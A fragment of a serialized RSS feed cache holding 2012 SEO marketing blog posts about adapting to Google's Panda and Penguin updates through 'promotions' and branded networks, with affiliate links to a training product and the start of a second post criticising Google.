class=\&quot;wp-caption-text\&quot;&gt;Does Your Content Have a Clear Call to Action?&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;After seeing the image above, did you want to buy something? Ok, perhaps not this time right? It&amp;#8217;s obvious that the image/message and timing doesn&amp;#8217;t coinside as a strong call to action.&lt;/p&gt;\n&lt;p&gt;The point remains that regardless of the website a consumer is frequenting, conversion is merely a matter of enlivening synchronicity (between their needs and desires to your&lt;strong&gt; perfect solution&lt;/strong&gt; via a product or service) to facilitate an impulse to purchase.&lt;/p&gt;\n&lt;p&gt;This fact was often overlooked entirely from SEO practitioners prior to Penguin who focused solely on &lt;em&gt;fabricating lackluster content&lt;/em&gt; and flinging it in a thousand directions in an attempt to get links. Content farms thrived, comment spam, forum links and network sites were the rave.&lt;/p&gt;\n&lt;p&gt;The truth is, most SEO practioners missed the boat from taking short cuts with their primary and promotional content. The notion that people would actually consume or be persuaded by fodder (lackluster content) and purchase is ridiculous. Don’t make the same mistake…&lt;strong&gt;tap the web&lt;/strong&gt;, not just Google as a source of revenue.&lt;/p&gt;\n&lt;h3&gt;Why Has Our Blog Been So Quiet for 3 Months?&lt;/h3&gt;\n&lt;p&gt;In case you have wondered why the 3 month silence on the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions&lt;/a&gt; Blog, On April 8th, I survived a horrific motorcycle crash avoiding a minivan that took my lane while I was riding my Ducati 996 at 90 MPH. It resulted in tumbling twisting and sliding nearly 900 feet on the Freeway (like a bowling ball). &lt;/p&gt;\n&lt;p&gt;Although the bike is totalled, I have multiple broken bones and some bumps and bruises (which are all healing now), thankfully, I survived with no brain injury or spinal damage.&lt;/p&gt;\n&lt;p&gt;However, during the last 90 days, we have continued to make updates to &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; “&lt;strong&gt;The Real All-In One SEO Plugin&lt;/strong&gt;” and &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/sneak-peak-of-the-wp-ultimate-theme-by-seo-design-solutions%E2%84%A2/\&quot;&gt;The WP Ultimate Theme&lt;/a&gt; – our sleek, flexible, WordPress Theme Framework (designed to give existing WordPress frameworks a run for their money).&lt;/p&gt;\n&lt;p&gt;Also, later this month our lead developer &lt;a href=\&quot;http://profiles.wordpress.org/JohnLamansky/\&quot;&gt;John Lamansky&lt;/a&gt; plans to release an updated video for all the SEO Ultimate features from version .5 to present (which includes dozens of tips, updates and tweaks).&lt;/p&gt;\n&lt;p&gt;Shortly thereafter, we will release our beta version of WP Ultimate for suggestions and tweaks for the final version. Until then, thank you for your patience and welcome to the new paradigm and it’s herald and summary – &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;it’s not about links&lt;/span&gt;, it’s about promotions.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=0o45EW4lGDs:V-R8cyMHOOs:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/0o45EW4lGDs\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:357:\&quot;Rather than overreact to rankings alone and scream the sky is falling, for the past 15 months we have been quietly testing new strategies that can withstand the likes of Panda (a quality control classifier) and Penguin (a thematic link sniffing filter) that demotes websites with excessive inbound anchor text  i.e. “unnatural” link signals. Keep [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;13\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:124:\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-overhauled-it%e2%80%99s-not-about-links-it%e2%80%99s-about-promotions/\&quot;;}s:7:\&quot;summary\&quot;;s:357:\&quot;Rather than overreact to rankings alone and scream the sky is falling, for the past 15 months we have been quietly testing new strategies that can withstand the likes of Panda (a quality control classifier) and Penguin (a thematic link sniffing filter) that demotes websites with excessive inbound anchor text  i.e. “unnatural” link signals. Keep [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:18883:\&quot;&lt;p&gt;Rather than overreact to rankings alone and scream the sky is falling, for the past 15 months we have been quietly testing new strategies that can withstand the likes of &lt;strong&gt;Panda&lt;/strong&gt; (&lt;em&gt;a quality control classifier&lt;/em&gt;) and &lt;strong&gt;Penguin&lt;/strong&gt; (&lt;em&gt;a thematic link sniffing filter&lt;/em&gt;) that demotes websites with excessive inbound anchor text  i.e. &lt;strong&gt;“unnatural”&lt;/strong&gt; link signals.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9123\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 509px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-overhauled-it%E2%80%99s-not-about-links-it%E2%80%99s-about-promotions/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9123\&quot; title=\&quot;SEO-Overhaul\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/07/SEO-Overhaul.jpg\&quot; alt=\&quot;SEO Overhauled\&quot; width=\&quot;499\&quot; height=\&quot;518\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;It&amp;#39;s Not About Links, It&amp;#39;s About Promotions&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Keep in mind suspicious or contrived &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/seo-rankings-trust-and-relevance-signals/\&quot;&gt;link signals&lt;/a&gt; could imply a wide variety of possibilities, such as:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Unnatural &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/balancing-link-diversity-link-velocity-and-link-volume/\&quot;&gt;link velocity&lt;/a&gt; (building or losing links too fast).&lt;/li&gt;\n&lt;li&gt;Excessive anchor text, i.e. a high percentage of the same or similar anchor-text.&lt;/li&gt;\n&lt;li&gt; Links from mixed-fruit / atypical websites that lack genuine/natural signals such as (1) supporting / thematic inbound links (2) traffic and engagement or (3) social signals (which is why many generic link networks failed to get past Penguin).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9122\&quot;&gt;&lt;/span&gt;&lt;br /&gt;\nIt&amp;#8217;s no secret that two Google algorithm changes (&lt;strong&gt;Penguin&lt;/strong&gt; and &lt;strong&gt;Panda&lt;/strong&gt;) nearly eradicated SEO as we knew it, however,one thing is certain about SEO, the fact that it&amp;#8217;s always adapting or in a state of flux.&lt;/p&gt;\n&lt;p&gt;Adaptation in this instance implies (a) understanding the entire keyword climate for all educational or promotional key phrases that consumers are using while progressing through the sales cycle (b) using that language strategically in titles, on page content, &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=www.networkempire.com/sales-page/silo-plugin-sales-page/\&quot;&gt;in your promotions&lt;/a&gt; (content, images and links) and (c) in the social graph as hooks &lt;strong&gt;that all drive traffic back to your branded promotional properties&lt;/strong&gt; or your &lt;strong&gt;primary website. &lt;/strong&gt;Expanding this process systemically facilitates perpetual conversions.&lt;/p&gt;\n&lt;h3&gt;Is SEO Dead As We Know It?&lt;/h3&gt;\n&lt;p&gt;Have the rules changed? Absolutely! Is SEO dead? &lt;em&gt;In its previous embodiment&lt;/em&gt;, to a large extent, yes!  So, the bottom line is (1) what now? And (2) &lt;strong&gt;how do I broadcast my brand and my message&lt;/strong&gt; instead of merely churning mediocre content or fiddling with low quality backlinks?&lt;/p&gt;\n&lt;p&gt;Watch the videos below and learn how to quickly create your own thematically relevant &lt;strong&gt;“personal broadcast network”&lt;/strong&gt; using WordPress, &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=www.networkempire.com/sales-page/silo-plugin-sales-page/\&quot;&gt;DWS&lt;/a&gt; and our plugin amply named “&lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=www.networkempire.com/sales-page/silo-plugin-sales-page/\&quot;&gt;The Silo Blog Builder&lt;/a&gt;”. Afterwards, make sure to  watch the webinar (further down the page) for an in depth overview of the new DWS 4.0 online promotion paradigm.&lt;/p&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/EB5qMffmAKQ?version=3&amp;amp;hl=en_US\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; src=\&quot;http://www.youtube.com/v/EB5qMffmAKQ?version=3&amp;amp;hl=en_US\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Put simply, if your primary website lacks traffic or sales, then no amount of outdated SEO (circa. the Google Penguin update April 2012) will make a difference. It’s not just about rankings; it’s about how scalable your traffic sources are and how adept you are in extracting &lt;strong&gt;relevant traffic on demand&lt;/strong&gt;.&lt;/p&gt;\n&lt;h3&gt;Spoiler Alert Regarding Blog Networks!!!&lt;/h3&gt;\n&lt;p&gt;Do mixed-fruit blog networks still work? No! or at least until a filter weeds them out. However, &lt;strong&gt;theme relevant networks &lt;/strong&gt;still pass ranking factor (and can serve as a branded broadcast beacon for extended promotions), which means a link  from &lt;strong&gt;site B&lt;/strong&gt; to &lt;strong&gt;site A&lt;/strong&gt; must be &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-video-how-to-properly-silo-your-website/\&quot;&gt;theme relevant&lt;/a&gt; (have the same topic) and use the appropriate anchor text along  with related synonyms (a.k.a. the DNA Braid) to avoid overoptimization filters or being smacked / deindexed.&lt;/p&gt;\n&lt;p&gt;If you are creating a beacon/site, it also helps to create stellar content (worthy of social media) and syndicate that content (to build links to your links) and ensure the longevity of your &lt;strong&gt;&amp;#8220;broadcast channel&amp;#8221;&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;The new paradigm suggests to look past rankings and think of &lt;strong&gt;each site or promotional property&lt;/strong&gt; as a beacon, broadcasting YOU (your brand), All the Time, Right NOW!&lt;/p&gt;\n&lt;h3&gt;It’s Not About Links, It’s About Promotions!&lt;/h3&gt;\n&lt;p&gt;In a competitive online environment, using obsolete legacy metrics (such as search engine rankings and only using one website to compete) is defunct as a viable strategy.&lt;/p&gt;\n&lt;p&gt;The imperative &lt;strong&gt;metrics&lt;/strong&gt; to consider are (1) how scalable are your personal broadcast networks? and (2) how theme relevant and extensive are your syndication sequences for generating &lt;strong&gt;traffic&lt;/strong&gt; which is &lt;em&gt;the only metric that matters&lt;/em&gt;.&lt;/p&gt;\n&lt;p&gt;Learn &lt;strong&gt;how to create a proper promotional campaign&lt;/strong&gt;, including:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;which keywords to use&lt;/li&gt;\n&lt;li&gt;how much those keywords are worth to your business&lt;/li&gt;\n&lt;li&gt;how long it will take to get ranked&lt;/li&gt;\n&lt;li&gt;how to use website silo architecture  to build your website&lt;/li&gt;\n&lt;li&gt;which content , synonyms and type of promotions you need to drive traffic&lt;/li&gt;\n&lt;li&gt;knowing which social media sites, RSS directories, video sites or press release&lt;br /&gt;\nsources to use and having a project management suite to coordinate your team.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;Take The Next Step: Watch the &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152\&quot;&gt;DWS 4.0&lt;/a&gt; Webinar!&lt;/h3&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;375\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param value=\&quot;http://www.youtube.com/v/txB97iCsUmU?version=3&amp;amp;hl=en_US\&quot; /&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/txB97iCsUmU?version=3&amp;amp;hl=en_US\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;375\&quot; src=\&quot;http://www.youtube.com/v/txB97iCsUmU?version=3&amp;amp;hl=en_US\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Sure, on page SEO is still important, however quality content and engagement is a metric you simply can’t afford to overlook, and about that “&lt;em&gt;off page SEO thing&lt;/em&gt;”, yeah, &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-avoid-seo-over-optimization/\&quot;&gt;over optimization&lt;/a&gt; is real, but just keep in mind, now, it’s not just about links, it’s about promotions.&lt;/p&gt;\n&lt;p&gt;Allow me to explain!&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;People Hemmed up in Panda and Penguin Algorithms Typically:&lt;/strong&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Got a bit too greedy with off page SEO (link metrics) and churned out as much content to build links as possible (without thinking of quality).As a result, Google struck back with their quality control algorithms which comprised stricter filters, classifiers and relevance signals, (i.e. social signals, engagement time, bounce rate, &lt;em&gt;thematic relevance of the link graph&lt;/em&gt; for the target and refering site) and 200 other &lt;strong&gt;fancy smancy words&lt;/strong&gt; that translate to &lt;strong&gt;“if your website sucks, then good luck finding it in their SERPs&amp;#8221;&lt;/strong&gt;).&lt;/li&gt;\n&lt;li&gt;People hemmed up in the Panda / Penguin Algo had a tendency to get a bit too lose with quality control on their promotional content and found out that &lt;strong&gt;regardless of the traffic source&lt;/strong&gt; – you &lt;strong&gt;MUST&lt;/strong&gt; have something useful to contribute.Otherwise, your content will simply be skimmed over for something useful and ignored vs. starting with a solid foundation of engaging contnent and promotional content to begin with.&lt;/li&gt;\n&lt;li&gt;Websites drastically afftected by Panda or Penguin often relied too heavily on one metric (such as links)  because it was working and thus became complacent in regard to seeking viable alternatives or finding new ways to reach their ideal consumer.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;Remember, Google is merely one traffic source; a very popular one, but not  every consumer uses or purchases exclusively through their link/traffic/ sales funnel. This means, there are a myriad of &lt;strong&gt;alternate traffic funnels&lt;/strong&gt; that you can leverage systematically to reach your audience contextually, socially or otherwise.&lt;/p&gt;\n&lt;p&gt;A consumer’s impulse to purchase is either active or dormant, yet if that dormant spark of desire is enlivened through curiosity, a clever headline, utility or impulse, then conversion is merely a few clicks away. Conversions (making a sale) is not exclusive to Google, in fact, conversions can occur from a multitude of sources.&lt;/p&gt;\n&lt;p&gt;For example, a conversion could occur from:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;playing a game online and being lured by an enticing banner&lt;/li&gt;\n&lt;li&gt;during social interactions on Facebook (or other social platforms) from banners or contextual links&lt;br /&gt;\nbeing lured from teaser “check this out” social media content or images in their various clever iterations&lt;/li&gt;\n&lt;li&gt;from reading articles and clicking the contextual links (after social proof is established).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;This process, setting up the sales funnel should not be left to happenstance alone. In fact, when we map this phase of a campaign for a new client, we use what &lt;a href=\&quot;http://www.youtube.com/watch?v=jsS8Zppd_q4\&quot;&gt;Russell Wright&lt;/a&gt; brilliantly coined as the &lt;strong&gt;IS-DNA&lt;/strong&gt;. The letter &amp;#8220;I&amp;#8221; in &amp;#8220;IS-DNA&amp;#8221; stands for Invention/Innovation/Industry and the &amp;#8220;S&amp;#8221; stands for &amp;#8220;Solution&amp;#8221;.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9124\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9124\&quot; title=\&quot;Network-Empire-DWS-DNA\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/07/Network-Empire-DWS-DNA.jpg\&quot; alt=\&quot;Network-Empire-DWS-DNA\&quot; width=\&quot;500\&quot; height=\&quot;375\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Understanding Promotion as a Stackable Process&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;When we speak of &amp;#8220;DNA&amp;#8221; in our material we simply mean &amp;#8220;components of&amp;#8221; or &lt;strong&gt;&amp;#8220;building blocks of&amp;#8221;&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;So &amp;#8220;IS-DNA&amp;#8221; translates into the &amp;#8220;building blocks&amp;#8221; of your innovation or invention that you have provided to your industry.&lt;/p&gt;\n&lt;p&gt;The purpose of the IS-DNA process is to align your market&amp;#8217;s FAQs (frequently asked questions) with your market&amp;#8217;s SAQ&amp;#8217;s (should ask questions) by drilling down and getting to &lt;strong&gt;&amp;#8220;the questions behind the questions&amp;#8221;&lt;/strong&gt;, or &lt;strong&gt;&amp;#8220;the pain behind the questions&lt;/strong&gt;&amp;#8221; which will be used later to create highly converting articles and videos using the PAM (painkiller article method).&lt;/p&gt;\n&lt;p&gt;Remember that we are giving you a &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152\&quot;&gt;highly profitable stack-able business process&lt;/a&gt;, and the IS-DNA may very well be the most important part of the entire process, because it is the BASE of your PLMM (Perpetual Lead Magnet Machine) System and Pyramid. &lt;strong&gt;Get this wrong&lt;/strong&gt; and you may end up &lt;strong&gt;using the wrong language to talk to the wrong market!&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The IS-DNA set&amp;#8217;s the stage by creating a matrix of market questions in order to help you select the most effective language that can reach your target market because you (and your team) will truly understand the problems and pains that have been solved for them by your product or service (innovation or invention).&lt;/p&gt;\n&lt;p&gt;Once you have mapped out &lt;strong&gt;“the pain in the market”&lt;/strong&gt;, you can tactfully craft “&lt;a href=\&quot;http://www.theme-zoom.com/krakken12/pdf/the-4-million-dollar-market-research-questions.pdf\&quot;&gt;pain killers&lt;/a&gt;” (PDF Download) in your content, videos, social media and/or promotions to transcend &lt;em&gt;traffic-dependency&lt;/em&gt; (such as Google) to devour your entire market. To thrive, you’ll have to escape the grasp of one simple traffic funnel to flourish.&lt;/p&gt;\n&lt;p&gt;Whenever you rely solely on a &lt;strong&gt;“&lt;em&gt;for profit business&lt;/em&gt;”&lt;/strong&gt;, &lt;em&gt;that business&lt;/em&gt; (potentially) has the ability to &lt;strong&gt;endanger your bottom line&lt;/strong&gt;. Just as the “&lt;em&gt;eggs in one basket&lt;/em&gt;” adage comes to mind, the question is, are you still in Google’s pocket? Or have you considered a long-term contingent strategy diverse enough to flourish (if Google or your most lucrative traffic source simply stopped providing traffic?).&lt;/p&gt;\n&lt;p&gt;To avoid putting your business at risk you must hedge your primary property with branded social media and third-party websites (just in case). Consider Google’s last algorithm change Penguin. Many who were unprepared suffered, as their once profitable websites spigot of traffic got shut off, &lt;strong&gt;forcing them to find alternatives&lt;/strong&gt; &amp;#8211; rather than diverisfying and being prepared (as if Google never existed) in the first place.&lt;/p&gt;\n&lt;p&gt;In order to do that, you must change the way you think, which means instead of thinking about &lt;strong&gt;backlinks and on page optimization&lt;/strong&gt;, replace on page SEO with “&lt;em&gt;genuinely engaging content&lt;/em&gt;” and replace backlinks with the idea of “&lt;em&gt;broadcasts&lt;/em&gt;” and “&lt;em&gt;promotions&lt;/em&gt;” and broadcasting your brand (across hundreds of traffic-bearing sources) using a &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=www.networkempire.com/testimonials/\&quot;&gt;stackable / repeatable process&lt;/a&gt; that YOU control.&lt;/p&gt;\n&lt;p&gt;Remember, backlinks are merely a byproduct of promotions if you don’t have anything worthy of sending traffic to, then visitors will simply bounce in search of better content; so, there is no need to put the cart before the horse.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9127\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9127\&quot; title=\&quot;call-to-action\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/07/call-to-action.jpg\&quot; alt=\&quot;Call to Action\&quot; width=\&quot;400\&quot; height=\&quot;486\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Does Your Content Have a Clear Call to Action?&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;After seeing the image above, did you want to buy something? Ok, perhaps not this time right? It&amp;#8217;s obvious that the image/message and timing doesn&amp;#8217;t coinside as a strong call to action.&lt;/p&gt;\n&lt;p&gt;The point remains that regardless of the website a consumer is frequenting, conversion is merely a matter of enlivening synchronicity (between their needs and desires to your&lt;strong&gt; perfect solution&lt;/strong&gt; via a product or service) to facilitate an impulse to purchase.&lt;/p&gt;\n&lt;p&gt;This fact was often overlooked entirely from SEO practitioners prior to Penguin who focused solely on &lt;em&gt;fabricating lackluster content&lt;/em&gt; and flinging it in a thousand directions in an attempt to get links. Content farms thrived, comment spam, forum links and network sites were the rave.&lt;/p&gt;\n&lt;p&gt;The truth is, most SEO practioners missed the boat from taking short cuts with their primary and promotional content. The notion that people would actually consume or be persuaded by fodder (lackluster content) and purchase is ridiculous. Don’t make the same mistake…&lt;strong&gt;tap the web&lt;/strong&gt;, not just Google as a source of revenue.&lt;/p&gt;\n&lt;h3&gt;Why Has Our Blog Been So Quiet for 3 Months?&lt;/h3&gt;\n&lt;p&gt;In case you have wondered why the 3 month silence on the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions&lt;/a&gt; Blog, On April 8th, I survived a horrific motorcycle crash avoiding a minivan that took my lane while I was riding my Ducati 996 at 90 MPH. It resulted in tumbling twisting and sliding nearly 900 feet on the Freeway (like a bowling ball). &lt;/p&gt;\n&lt;p&gt;Although the bike is totalled, I have multiple broken bones and some bumps and bruises (which are all healing now), thankfully, I survived with no brain injury or spinal damage.&lt;/p&gt;\n&lt;p&gt;However, during the last 90 days, we have continued to make updates to &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; “&lt;strong&gt;The Real All-In One SEO Plugin&lt;/strong&gt;” and &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/sneak-peak-of-the-wp-ultimate-theme-by-seo-design-solutions%E2%84%A2/\&quot;&gt;The WP Ultimate Theme&lt;/a&gt; – our sleek, flexible, WordPress Theme Framework (designed to give existing WordPress frameworks a run for their money).&lt;/p&gt;\n&lt;p&gt;Also, later this month our lead developer &lt;a href=\&quot;http://profiles.wordpress.org/JohnLamansky/\&quot;&gt;John Lamansky&lt;/a&gt; plans to release an updated video for all the SEO Ultimate features from version .5 to present (which includes dozens of tips, updates and tweaks).&lt;/p&gt;\n&lt;p&gt;Shortly thereafter, we will release our beta version of WP Ultimate for suggestions and tweaks for the final version. Until then, thank you for your patience and welcome to the new paradigm and it’s herald and summary – &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;it’s not about links&lt;/span&gt;, it’s about promotions.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=0o45EW4lGDs:V-R8cyMHOOs:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/0o45EW4lGDs\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:15;a:12:{s:5:\&quot;title\&quot;;s:24:\&quot;Google’s Greatest Fear\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/c3NjkKxSVOY/\&quot;;s:8:\&quot;category\&quot;;s:3:\&quot;SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sat, 07 Apr 2012 09:36:57 PDT\&quot;;s:4:\&quot;guid\&quot;;s:65:\&quot;http://www.seodesignsolutions.com/blog/seo/googles-greatest-fear/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:10808:\&quot;&lt;p&gt;With millions of business owners, webmasters and affiliates spending thousands of dollars on SEO and countless hours spent optimizing their websites (only to have Gogle organic search results &lt;strong&gt;shaken up or completely whisked away&lt;/strong&gt; due to vaccilating shifts from new &lt;a href=\&quot;http://searchengineland.com/google-confirms-panda-update-link-evaluation-local-search-rankings-113078\&quot;&gt;algorithm changes)&lt;/a&gt; is genuinely creating feelings of anger, frustration and disdain.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9113\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/googles-greatest-fear/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9113\&quot; title=\&quot;google-ignored\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/04/google-ignored.jpg\&quot; alt=\&quot;Google Greatest Fear\&quot; width=\&quot;400\&quot; height=\&quot;425\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Google’s greatest fear is you not using or needing to use Google...&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;As if running a business wasn&amp;#8217;t hard enough, business owners are now forced to deal with the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/the-rise-and-fall-of-rankings/\&quot;&gt;rise and fall of search engine results&lt;/a&gt; (knowing that at any time aside from ruthless competitors targeting their most coveted positions that a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/warning-search-engine-algorithm-changes-detected/\&quot;&gt;new algorithm change&lt;/a&gt; could come along and potentially &lt;em&gt;sweep all their progress under the rug) &lt;/em&gt;without warning.&lt;/p&gt;\n&lt;p&gt;The only solution is to either (1) conform or (2) diversify your traffic sources to become less dependent on any one source of visitors, however, most are either unwilling or unaware of their options, so they continue to run on the treadmill in hope of stability.&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9114\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;For large or small businesses alike faced with overhead, cash flow and competition; conforming or overly depending on any one traffic source (Google) is not a viable solution for creating long-term stability.&lt;/p&gt;\n&lt;p&gt;Faced with violent shifts in rankings and either posting record profits or losses based on where you rank is a type of &lt;strong&gt;traffic-dependency&lt;/strong&gt;. That dependency can be weaned and replaced if those same business owners took their searches or paid search budget to other viable search engines and / or traffic sources to funnel traffic.&lt;/p&gt;\n&lt;p&gt;Objectively, it’s time to see things for what they really are; the fact that Google (not surprisingly) is a business model motivated by profits. Despite the &lt;strong&gt;“don’t be evil”&lt;/strong&gt; motto which once brandished a blind eye from most, with recent allegations of &lt;a href=\&quot;http://en.wikipedia.org/wiki/Criticism_of_Google\&quot;&gt;privacy concerns&lt;/a&gt;, changes in Adwords policies (which left thousands banned &lt;strong&gt;with no explanation&lt;/strong&gt;) and the constant organic search algorithm shuffle, at some point users will come to terms with this and act accordingly (and ignore Google).&lt;/p&gt;\n&lt;h3&gt;The Pervasive Threat of Google Penalties&lt;/h3&gt;\n&lt;p&gt;Recently Google informed untold numbers of webmasters that they were in &lt;a href=\&quot;http://next.inman.com/2012/04/google-evolves-are-you-ready/\&quot;&gt;violation of their terms of service&lt;/a&gt; for unnatural link activity. Needless to say, the fear of loss is a great motivator. When people are told to conform, most will to avoid going against the current of the status quo.&lt;/p&gt;\n&lt;p&gt;However, the audacity that webmasters should conform to a terms of service (considering they 